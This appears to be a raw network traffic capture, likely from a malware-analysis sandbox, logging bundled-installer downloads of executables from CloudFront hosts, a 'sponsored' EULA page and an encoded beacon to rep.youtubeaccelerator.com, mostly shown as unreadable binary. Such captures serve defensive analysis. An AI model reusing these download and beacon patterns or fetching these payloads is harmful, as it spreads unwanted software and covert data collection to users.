.,..EJk.k./).6%..K.0.zr........#...w.._-,.%..=.....,..W......._...b=..
6.r..nm.Ju......\.D....W..es.Re...\..$...a7mAS. z......-....O.k.....z{
..lV....Pc....u..*h....#.3..u{......l..y.|.../..]%HwRay.Q..K|.BC.t..Y.
..WM.."t..$.^..EV..-.^hT@4....'.DY...(.....`~...E/./<"Ppm?.D.%.N.A.
 .../....`..>I([email protected]~.&.T.N.$..... ....L.W.fx.h-.[B..k".c
uDE(...*1`.8-.Z .b.../.-0M.."XE_....g.QS.O.B...(..T.m..(.......1..J/..
..}(....d|t.^8.. oN$\...>.)E....][email protected]..
.&.v..........}..)).%._.A..R1..T3.$7zVh.I..R3tX.*n.tZ..ux..HV.v.?...).
.=.H......u..swf.b...([.xA..[.G...B^d...;.$..}..,...L..x...}...$...zg.
.~?;?{.}.....r...T......2.........ESs..'.-;.........{Bo....g....u..2.2
...M.}h.~|6-.O.^..y|s4wU..K{Z.._..R..|*s....7....u</...5.......mS&l
t;Y.....|&.....>.y.....s= .8O...4r{...d.,.F.>...x/'.!...G....\{.
...$....J..X~...G.V.&....T...slG.E[He.}..q.R..iz ...i.E|.....&....N.$.
3.F.2......4....~.&z8[].Z]..o.=?]>d.b....}3.....G.q.#m....eF^.1($.G
q....^..[.__.....:.M.%.....>...%..g....?%s..RZ...eB....}&.J4....E|0
.k....'....r......9...*../....|....^.8i....K.{..5.#.Y..|v.;.).Y.K\
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=3750000-3999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 3750000-3999999/7592848
Age: 49300
X-Cache: Hit from cloudfront
Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)
X-Amz-Cf-Id: XI3_KlcReE5LM7IGBDz2-i8rkUD-aYmi9MYhEgNYwMDmmNQ5rAdFgA==
..7..B).....w..nm9[..i.~.u.}....A7 ..!6-f....`.[..S...N....^....p5*..^
.n...Z...o...~.X.{2....%I....j..h.r.....O..Uq....U|RT....Hg.eJ$...Q[.%
.?..1L.F.e.(.=.... .&.........%;.JI..........Q..w7..~KV?i.....;.-....,
mJ..!:..(.......Z.....l...\'........oR...6U~...p}..7.#..]T...@........
.2/\..a:..Ck....A.H...t.....{O..Vl..=WE.......gEN.].d.wT..?M.).....7..
....-V. .#....~.."Ay..$..R%k....y..oi|)B..G...{.........=.F..!DT.Td..g
.{...("6|J9.....,. [email protected]_ay=x.\.....!."=w}..E#.T..]V..%.....\
..6........Eo.Q.......O...,w.GI}.G...-..#7....z.q.ld.....*..LPI..d....
.Z....u.Wm.$|..I..`OV.c.s..i......P.9.w$.Ic..w,B....d...K..}.}.0.(...?
.Z/..y.P..B5........ j......):fxKQ..~....R....".}.?".. ...#..b....*z(.
.(.."....#^.t...W'."$r.C......?...6.@.:...]._.....}..oD...........TQ;.
......2....6;..t..~IV..>CJ.U?c..)%E....L.%..7u.-.[..W./%V.W.UJ..L..
...1x..u.,..YqS[..g.N_......NTc............3.Kk.5s.Ng.i......V.V%Q...s
.-.  .ED.NUk=..5..>..-.......75..e..HR.~.IE.. ..O.9..........<..
..Sx..V.!...&.......K<...]w......uim.;f..zr..A.S.G.qx..[./..d.J.}..
.-........,...!u.TK.Op.>Q.5o`..1}.qws...0...YHC{z.....I.8Nk2 z.~?h.
..<O_... ...._W....g..~..QT>m..2..:.~j.-7B....7H.....!$...65..7.
W_.......jF...[^..C.....M&....u....n@ w07...E...G......Qkj...2u.......
..Gc.....q.h.I.U3..k....(..F.]."..7..?.{. .7[.... ....... ,..BA..i.ys.
LQ@..@...#......H...j.*[email protected]..._.T\P >......X.@`.0..&
. .C..l.M...o;.........'.E(O...x....H...)G....u.......iRBQ..:z.. :...F
.`.........?.;[email protected].#.<)..g.
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=4250000-4499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 4250000-4499999/7592848
Age: 49301
X-Cache: Hit from cloudfront
Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)
X-Amz-Cf-Id: HNBIDxThDBNTBbLdwnideROyG0fjTeAcWyheywvvtEQ7kLcxf2Wa1g==
s.u....:._....F......%).S.......->..K...8..8..\..!....x....Q..|..0=
<.a......../.|..;....H.....^rT.iz.e..9.{U.P.G.......k..q...o.T9)...
,.Dq..7Zd..C...Np8....`..9LS.lI...G.....s.:>.!m...D....,....P}.z-8.
.9.x[.L..1. ....A.E.1.....X...I.M........]...........c..}..4......Ffq.
Z...`[email protected].@........'.....Q.y.tk.e.[..X.r.B.0a B......
r-\...8l..n.....c....T.s n..........r-.......'s.........l....g.....O..
....>.!.Zx_<....7Q..V.:.b5...#,%.....~4x..'........v.5....=.x?o.
_..i.._0. &c..........srX ..D6.2|...M.......9.q.v.I...]:. .U......6.:j
.N...J?...4..BG...4..\..g6:.l. 8K......Y.A..EO.M-,...q7......'..QT.F.%
C.."J...|.d.jv....,S..2.^.z..5...>.;..=^........K\.(..#..... ,.C...
....0,I.Z. .......Lt.?..h?......=...C.v.(..]h ....;.|.../.....I......a
......C<.JU]......t..D3O..$...a"nj....... h........$G?J.7...l.....}
..'v....p8.g...-u.b...)R.....a...?.C6U ....TS.....TS.|9iO.."#..l....#o
*.FMuM....R...R...cm*.K8.t.}5...|(..Q..\..H.....zz..zh.....kMEGo.;.m..
?.........I.*n'a....w.s;N.L`=.w..I..'.1.8...)...e.E...4...pW.he.H.G.L.
.n{.......W".|.._.?..,g.K.Ft.x..KC]..........R.n...A#*.'ZY.<D....m.
.".[l.ka.^........^..gZ.M.4.{....6[S.......>.....o,..H...: ........
.....p..........T..S...;....k..%...d ....v..K8........<.$.].H.... 9
.I>U7....B...$.v.$S..`.:.....g8L.OU....J5.&._RT..4.V.Q..."O.&.[.4..
![(...y.. {|.......T...d?.4...O..../)..>XdA.9*z;-.>c...6...z....
....L.&...3Xrr.0.I.4j.g.@rN?b.A6..A...J.h.....[..*9D..x.%...p.<x.s.
..=;......hW..........e..-..#=.^#U.0....?.......b...Mq.&.].S..g2..
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=4750000-4999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive



.(..vT.....,KIP.../.7....oU0.z.....L.....Z.._.S.Z....S^!...S.v.F1..-a.
......./w..Q>..D.q4#!....f...C..v.v.5..G.x8..K{<..8S*.. ..j....I
..L.....6.;........ ..H..Bu:NyY...J......0.lt..qe.Y.Y.........PE.....9
`MO<..5k..,.Xc.in.6h?V_...kB.M.3.m...88.DH.t...Z......Yce...!..(..)
.....F. ./...7=_.K~ .R...D.n...fr.....C..i . .........$f..*M..]f../-..
..9J..w.....e;...PN3...V&m....,.d...pO..U.5...".8.......o..A.U.I&m.!r.
..#......e............[....5......\4e...p.j_.Z.). ..T.Cz.L.D.D}a..!...
^...^..qD.=...v........1.E}...(..........q....]Q.......c.. .ty.'..&.. 
.Y.........(..8;..DzA..G.F.....?...u..>..h.Q.x?.8~.MZP..[...B ...I.
|..t.z..9b...m....}...w.t3m:.....X.1..H.ldW#.Us......R....A........)9Q
.,.........HV|.f....a...ku...VP...$..1..(Y..Z9h$V.......d...".A...mFP.
z.V....?....0.K.Y....1 ..}....{....S.j.p._F.x8..B.';..E.z...eK.N...Lhw
A.k..GD,.......z .Z...k.......M......mi.C_....:M...... (..I...06..... 
l.h.*.q^l.4.U...Zv..%}o....bGx.O;.R...G.......T..a.K.....9.aT...I.....
..h.....q)b.G.......\...C.Xe.N.....q..%.L.[.....!1 p.BK....m.I.c.h...z
E|^:.H==K.E..{.}..u..Z...s.s...B..J.e.(...P]...~....h...M}y}W4.M.d.*..
.u1......a9u.$..'I.Ty..?*;.. .........%).\w......a..q3.s......m c.....
.c(..A.n.$........sKo......."..j..'...FC.OU..1...*....#4o;.*.i..?%..~'
&.. .=.C...Z4.u.%.<..lT..C.:.]$..S.9...5f...n....FE..Y...ht...6*f.w
... J...;..B...........jt..X.Q.a.......&...%.$.F... ....2..sR5.....p.C
.8..sl....q....}k....`...N.... dW.v0.....X.'..$..IO3 Gu...1m..2._I'.F.
...^.5K...&HC..w....`m...@....`.}7........I.f. 9...].......K....V.
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=5250000-5499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 5250000-5499999/7592848
Age: 49301
X-Cache: Hit from cloudfront
Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)
X-Amz-Cf-Id: v7P0gAEnd2Mn4O5zYTQ8wjIjG6leLGLYP19PByx_tVasFM5tqiUBCw==
R.....%...q....t.6.N....j8....Uk...d.p.P.@)....g..U.?7...T..nXb....y}R
njog>..u....?.k..x.`.>........,..Q.A..:,WE.........4!H#..l.9!.DK
.8..#..........5?.$.F..0.;....P..Y..Z..9....1.}.`....... ..z!T8..m.i.k
..*,...Qa.$......>.T5....C...5.hP..D. .&..1...b......Pd.yE..*.7R-..
......~.......B......X.. n..r.(...R......3:TU^.CM..D.. .NU...|.S....Uv
Fl..!...b,..d;...=.s...pkFQ.;....%......E..$...........9..tK..#.!D... 
jk...%.m.M..V..Q'..1..aQd..l1...$.q..T*cw-....v...5..[`...B.[..,.)!..e
.....).Z..Y).0C..:...0N.dx...[ .pz..9...A.....ga.DH.)..[.#..l.%J...DYQ
14.e..7....3A..SC.......P......;....)...#.......>...hm...7.d.5 .jk.
g.y.aZd....~...3...j.j...Y.6.>..z.9.........M.....Gf......*......L.
b}......SEq........F..Y..U}[..d......i..S..aj..(8.$...-..t.....t9.....
.s.....;.'...K..NO..*..cO..(.......O..../#L../...p...0..A..]O7....@}W.
~...s.].3C...!.z>.....E.s.../..B.V..P=.@,}.:Q-...A=i....`....".9...
.2_7....w|.5/.c...=k.0..uC..UD7..........?...........s..p....,N..g.3..
X?k.&..p...VOz3gc>u........4.:...,.wK..FJB.&..n....>@..#P*....pB
}.n..B. .'^P..&..:>.IN...........x..'.)qM....h.c...zj_.."1*.)1.^..L
(..j.c..0O..`.i).9yM...O...l3...G..ghT...Q.....A.2...^..._.|......5~S.
s....K.{[email protected]....#@........f.[,............2.J...=..\..l.B
.g...=./.u..'...7.M.j../...(^.l. .cB.W.".z81..QHQ!q-...~........1F....
..........^.."....[v...5.W.V.e....GF..*._.|=.]........#.<..:u3T;.`l
)......9;..A....x.m.....T.~..^.0.WJ..& `....A..Hb.....W...z..n M....#H
...UIHW..5...[5..,..J.|.n.#d( ...hJ..%>.[...#[email protected]........
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=5750000-5999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive



3.....~..i.._..8.:..B.3..l4X.y... .rID....V..`.Lks.....93..p.l.....K.I
.....y1IuF....>)o...#_F.&....b........=......6..i....6.....eXvk..Pn
....../.... .......F..>.N.y...-.0zS\'F..O....d>.\.&..d.k..At6.G.
F..r....<i.r.....V.R..}*.. 10......!L\-......G....;..._.G.....">
.6.CX.S.F.4.......<....p...t...G...?w..07..5..~x..3....F.L.d..R.q..
..;.a.U(.E.i.....A..wf......L..!s....s..o>K..M.# .f....C.b.r.u..A@.
......O.`[email protected] .F8]f]......tn....J7.o..F.6~z.....A.OKl.y..... a
.GV4.....A.......f.........b.h......XF2}i6..7^..F..........k/9#.a..1.-
De.=.{ec.....D.h...j..8.....z.4..y..]......6.`-rZ.1........>.......
3...!.....1.^s...(2t.B.q...(&.J. .Wp...4..F...hG..`.%....k|.A..#3H....
.....z\.. .c.t.^@..9......Aj.-..v...Ju.AP.V........P'B.2F.  o.I.:').N.
..!.....C...d......d.34.,......C.......=,|.X. ....1. ...SqP..I..5E....
\....uU..7p.^..(....W.!.|......c..5.....m.....~2;.&T}..\....q.Ut...z&l
t;..x.*Q..Gu$T.d..~8T..........~.....{} .....J..5...I.AE....iA}.,.:...
E.>.N...y".`(...V?.....\.....!>..x...w..._..m.e...#..' i\t...e..
q........z...$..!|....m.&..I.mB......sV-s5..J.cT...,...U8V........e>
;.a2.p.3......(..m...w2.]9?..o....cgU...N..m.0.....Q...,1C..=.1.DI...S
vT.....`..5sZ...>L....|:1..{-.z..EG ..Xsn...B....4..".....#.Id.*._.
>Gq..J..>.A..........g*....."..).`l...w...h.@P...=.T...X...F.Q *
..i#.,...#.......9....ENv......A.'..R2....<....4.,.......mC.Uw..yD.
...=.]:.nO*g.O....Z5NY.........>.v.r.om.....M?.P?@....../Q..D`...K.
....M...o. .G.V..";!..../..I~...%e..8u..s..I.........U.c7...!.O.V.
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=6250000-6499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive



.n.G.....(Y...6...O..Z .y....fm..`:......n........M...h........>...
%v.y......../.0...#...'....FZ.........G.x../q.3.p.....cv..T...........
Z..IZ3....... .g..ny..&*lG...e.H..N.....JO.#.q...E.l.?..X.... ......J.
............(?......t0....Q..[......;v."..Z.C...-....A.|.4.0.A).o..|&g
t;..%...x....n...v(k.?..DU..d3.T./1.f.q~Sw..n.#.4.y...d.........5B.k(k
.De-..-......t.. .Y.D.y.W.k......z..><p..._.'.....7..`.._.k.q.E.
[email protected]...../...}.g.c...D.W.G...1.8..@...^...k'.YE
..N..*.k.\U3.f..m..@.._.W.}U....F2.0.2.&.IZ......n..j..LT.......u\...Q
.da._/o]..E.U...J..V..]H....}.L...*.o.A..._........QN..........~.(R.(F
|YFq.Bg.......q$B\DXi{.."h.[^>8C.4p.....b.....".;...*.gG..'z.i.P0..
.x.f......g..... [email protected]>k...|...:0..m...0...J_;...w
@.I.6..... >...QXn..nzD.....|S..g.".&..JJ~....7.!.]...D...D..8.%N..
....cHl.v..S...&...p...."..].94.d9.....*...f;......P..,..C7#.I.`&].=.f
,..!.*[email protected]$....g.....!..\6D.R....zE...uk.......g.-G..I.@...
.f,[email protected]=....v.. .h........i......<..zO.H...&...].E...6_..`
[email protected].<.j..R....s...h..W...1K...^.Sn m.q..
.Na5.p3. .,=S...JA.p.......z9.>..b..hr.mF..v..cfbT. ...5.Y....g.;sM
s....B..P.IKr./..j...-=...xW....a}.....q...H.G....y...IGz...0......l0.
p..R..m....g....R..r..=.{"k0..R,.....YG..XU..$)z:..\/9rI..........9...
9....=..5..8lb.td^Jw..t...R5t9....Z.Y(...<Z)..Sho..F...$.rRx..y..!(
....pr.J....'twP...M..]-9-.7......w.dxN...n.i...T6... dW.|4.,..~\mn4.|
.......:\..4,..9.y..P.n'/Q8<f...4f/9...........3R...EXB..:..k&.
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=6750000-6999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive



.I..)..........P. ..c.X2g...d..z...`[email protected]:[email protected].{....\
..>.C.*U.5...h%...,1r....Ws.......!......L...R..M....|.......{..s..
[email protected].....%;.<.u...k..;H...).EU.N.G.R........Izt
..Gz.9....&..|2..#....".t.).O. `.\......".!....=p_.....DhT.. T..%t#2..
..v..L..OT.[.e.}..t.6..p./.oN........I........|Hk^(...H....~..tVS...~.
....... v....!..........;.[.....4..[...........l.....Y........ZW.....*
.. ._...zq.......Zq^.rx.wA..n..1dRu...6gA.w...&b.;7B..-.6.4....(..EJ:1
b|`..........u..UK.l.X..9c.......RO.....T?..jS..G.....$_.z..<.}9N..
.*b.Y.#.....lb.@....?.%..L...M....&.J<SQ.v....w..#.....(S.U..,*.7DG
i. .4.3:.T..#.% ..q{k......@.%J....BK.v......R..7..2..a.......?E....eR
]=....(..c.g".>.....H..z;[email protected][email protected] @X#r
.P....DI.*.g./....S.....!=...i.8..\[email protected].|..FrhjK
 b..U[bwZ.Oo..k.M.c... ....b$....9..R.Z..>vX..:.."!.M..D....Lhaq.9.
D..,..5Em...K/,..`.n...R...4..7s...}...T....n.....f.ez5V...(z<k.[1&
P..l...>......h....".....{...F@'.... .2-.j.....[..s....Ep.dV...'.f.
....b....>..h..\s..q.......%.J..K....6ra>.A..Wd=O..........gV.HN
..0.2#.c..=.Sm.....;..>~.....oP..RU.:<.)...[.ji......>...T..j
....O........^...D..5...!...%A......2.ns][email protected].'.....W....2...,
4/...$....<.#.c-.....%.8.M..M2...<.....'...PJ>.Z..e.....H....
.....Zw.|.....Pui...H..f.;...0..9....K{6..&..#.h...Dr..........<5R.
....i....U.H.)..'...c ..Uk...B.......%..F..F.....u.#..Fgz....a..>..
..?4M..%w...9:..dI.........../.".1=..A.".........b...w..g2y.3.....
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=7250000-7499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 7250000-7499999/7592848
Age: 49302
X-Cache: Hit from cloudfront
Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)
X-Amz-Cf-Id: bAJfrsqeXrEIxYqVrAJYEAhn1FFhjLJX16WBjAdMhVqQpFum_7NXOA==
...U3}..>...mH61...Jd.a.A.C.....N.bC..Q/......o.!!...xK..Z|..{Z.G B
.Y..!......W...o7...^S..E]o........[....gM.....f..2'w.2............M..
.3|H.z...........:.. ..|.v.....4..........{..P...\@....:..j...A.K...D.
-...az...x!...\g....X..9.k.i..-:...0....O......K>.`..[..{....X..z..
M.....%>Lb....vn...6..d/...E_..8..r..qe......J._..:.......O..-a..M?
.....KUp>..=RMG..HC%..`hcr5..7f....K.b[.m6./p....6,.0x..v.....>.
_..4.x.h .~.P".w.I.Jz....w1`8... ......f...y..&.T......'....j..l.9.q]"
..4r......K............ .o.vR..A G'..f.,..s...'...N....9./r*B,......{.
.......{..}....=.0....:A.ln.N<.c..[.r....CP..8F.Q..*......'.Kn..)..
....b...\n0.TZ.n.i.|Nl......|I..\...Q...@`41.$.Yy?..I..W%{.....s.}Y.wV
....a\. .2...tTK....Le.....f..c#.Kr.)/...>..h...Sh.O.f......J..3..&
gt;..Z..7.Z0.0...{...t."Vh.J%M.P/...,....../"...(..Y.T.>..l..S...{.
....."[email protected]...#.Q~..}TZ.c.$`[email protected]...>
...5Q........u..?.........."...b%....h...`....{/.x).gY...2.x.........y
,.\.S.l..E.P.Bh)..f...tk.C../../.........h.k.&..M`<..b.Q.6....{.&..
./2.Ga.-..T.9.l.@^...ln.;...B....}....v...W.a.....<e....WS].A....st
 *.9..\....A.........p..\.._.K....=.OL.\....&\E.. ).9y.*.6`Oy..5Y.{.b8
......rC.|.%......Am.-.K.fRa#.Z....W..N.........E.....w.G..Z..aJsK...A
.m..........F$..H.....l.A.....U>g.O..o..^(O.*...d..oG]~.._OY}.....$
..|.....S.....V.....h_?.....pB.Z,...n?.-.......X....ey%r.|f..;.w...f.j
q.Z9......1..a.g[.Qd..|B;.j....S( .._.....K.v......<..lW.......Nb.y
L....Tp!...P.\.:,>..uR.)y.^7.jE.\uA...,_H.:.,n...b...z.a/..#..?
<<< skipped >>>


GET /sponsored/sourceapp/eula-sourceapp.html HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://bi.bisrv.com/easyburneres/easyburneres/55bf8432df4546428c4cd4ba3636f283?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d2q90bop9bptps.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Sun, 08 Feb 2015 05:03:15 GMT
Last-Modified: Sun, 02 Nov 2014 08:13:44 GMT
Expires: Sun, 08 Feb 2015 05:13:15 GMT
Cache-Control: max-age=600
Content-Encoding: gzip
Vary: Accept-Encoding
X-Cache: RefreshHit from cloudfront
Via: 1.1 ad1289c08e15a848e5c2bc019529785a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: BtjnrUNgoS6rnBHTxI1796xYMIcOJ752dcgpou2AHwV_D_JvA9Vxeg==
36ec.............}.r....sU..C..cLE."U.m[. ."A.6I...d..#.$IT.H..Q......
....Yk.}....|..vtGQ@..........=...>^....tR\].=...{.....?9>>..
..z?.8/^..,..r........../.....j...........zqw<....X..c..p...h......
....t2[.~.0.~......lU..|....jU...r..V..[.n......a.z.T..q^.~oU}^...K~..
M=z....7.zR/^......;~4-.w.......p?^U..y9.^..z1-'..........O_...N......
.u...............wz%'b ..p..a9............)?-..an....^....r.....5s~:.g
..N......;...o.....G..c....5.x...j=)...a.....i_....v..-./......n_./...
w......E..?h..w........=.|h..........t..Y....A..{.....O....A.{.?(>.
....x'...x.e.....z-~..}P.......>..........>>.\`..3|......6..k
.;.....o.;.......Q....8~....dS-....U..V..xV.....=...8..|<.f..h.-.jZ
.V........(.EU...H..,..zV....E.^/.Uk>...b........A..P.....[/1....L.
;...#M.kL..0.5&.,.......X.......c.X._xw1.OA.#.......%.mR.6..TeS.Y..\..
.]=p.6...s....^...;.....?U...u...|9.X.W...r.X\...../.?....b^/JN.?[T...
.. |..j3..r...r<)o.....IBf.},......>....<.0..#-.s.._U.0..x9..
....d=....\.....r6...... l..g.....N.........k.....^d.....\...XK|...pF8
...Jk......ZL.9......Z....|.....r...N....' <..,k..A.H.h...CQ......j
t.....C./[email protected]...$<y..
.... ....|X.....Z.w...2H.c..4...).......... l3F.o3.,....qVc...Z.SmP...
.02&.....Y.j...s.bR...(.. ...;..K.lb(g.z.Z.G.a....`>...1......K2...
/.hg.....9e...H.gU.Zc.,z......2f.........7..R.AYX.'.....`.I...B..4p...
....x..@.\..5U..x.......*..z.=r.6.'.s\H.9.!.N.;......g....gq.O.. .Y...
...[.X%........ L.........9..E..............`.I1.F.......0|.h...".
<<< skipped >>>


GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab?ce20946eb52ebf7e HTTP/1.1
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Wed, 12 Mar 2014 20:20:10 GMT
If-None-Match: "0b96c77303ecf1:0"
User-Agent: Microsoft-CryptoAPI/6.1
Host: ctldl.windowsupdate.com


HTTP/1.1 200 OK
Cache-Control: max-age=604800
Content-Type: application/octet-stream
Last-Modified: Fri, 23 Jan 2015 02:29:11 GMT
Accept-Ranges: bytes
ETag: "803565fb436d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Content-Length: 57591
Date: Thu, 12 Feb 2015 05:34:31 GMT
Connection: keep-alive
MSCF............,...................I.................6Fm. .authroot.s
tl......8..CK...<T...g.v!M.d..f.%d..}K..5......dM*K..J.,%K"...!..=.
k..........{=/....{g.~...............'....6..N....w......(.$.>.7...
........'.....`.bx....^..$.'.^.K.C......<[email protected]
.....usXq.d.i.jF$.4.........KI.Q........A2m:..E.P|...(.^p..=G|.....m..
....  .6...H.e.....X'...%$r.Y.(..)........|...;...V^r.VM.._*X.I. ..4..
...*.....Y..`.0w.u...c.i.[..-...x..<.8.<.p..,..y.[v.Yn`......!.s
...4e......B...$.,..........w.Pd.)....,..#.%..h...8...`.A...8.i(.!.$/.
=.....i.\X.H......"...a...k...y6....F.._?\*.&..3.AJo.!..`....9....=.p.
u..u....f.f....w...?..S..I.;.....5._...F.f..G?$......."..kq.y'.6tJ.e%.
.G.n.....z<.pX"....1..g."........V:.H.-...!}LM..t..-.y.j&...n{..-.]
H. .....A.O.Xg..B...#[email protected]..*.....T...}o._./S..h@$
[email protected]..#.:?."....1..v.....&G...?O1x6"5.@..$.U...n.J...w
.Y.{..........E.N.&...&.rC..W.....M.........,.e.....&eI(/eSO.B..K...R.
 [email protected].....(..Y./;-..M5.0.H2.y....:...........a.U....%.S.).^.
...1.B..a..=...q...X .B....F.../..../.Z...'..t....C....,.^...N=..t%N|I
C.#.)6...q.E.J.i.E.>....".L........>...Vy.7.jxx......G........._
q.1^..H&.4Z......^.E.K 9.Xg...qO.6%>..T....;n..s.'u.-...=.........p
..p.Rn.........=.......F........d. d.AR.0U..........9b...=N..#....c.Ic
z......u.0............Y.q..b.wYE.......R...s..W....r].....hT....k.g..[
...s.....X..`=zb.>..../..=........J.N.h...(}.5.7. .;..=F..F...'.?..
2...3...=...B..`....{...f.`Kb..@..`Z.0!^8.t..<l.j..lI.P.q.>k
<<< skipped >>>


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 1286728
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Tue, 10 Feb 2015 09:27:20 GMT
Accept-Ranges: bytes
ETag: "da4bdcc41345d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:01 GMT
Content-Range: bytes 0-1286727/1286728
X-Cache: Miss from cloudfront
Via: 1.1 a034346227db119f7e0813186ca2d2c2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: LUte14-HcUFhPe71O2s1UcR1Hr-As0oZTcYnJq_RNYN-0IZehiJ8pw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
...........



GET /app/ping.ashx?e=M/g8cQcNP IaXrHZgA5m3xUhutYh79jv3Pumfblmu5B9EKWfiY9Pr/lWymhtcc3oSGExqW4qn7xbfNvkjTiX5DEsdSRpTTrrOw9/8 JsFyrXAEn1Ui8YxjjVDDR1s6LfAOPQgSHEw2 G6SHRxdq2MvD3uhzVRfMJIi5EI4eexb/M2kLK0Eh6GOhAyMRSteYLfy2nd2OoBNWZcVk3bWa3iMJb UIfjrRxmoi0CE64JPPM/9VP4YRizveJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5x 9v0hi6ojl/pUrWo8oa7crjeLhXmjZt8aHXnj8PuXG3Qvw9wYyH SNz/0aqZob2ISeEfXifMKZ7NLx3J2zq9LCzSmFZnWfwxmk7Szj5ex8= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rep.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Content-Type: image/gif
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:33:04 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Thu, 12 Feb 2015 05:33:04 GMT..Content-Length: 0....
..


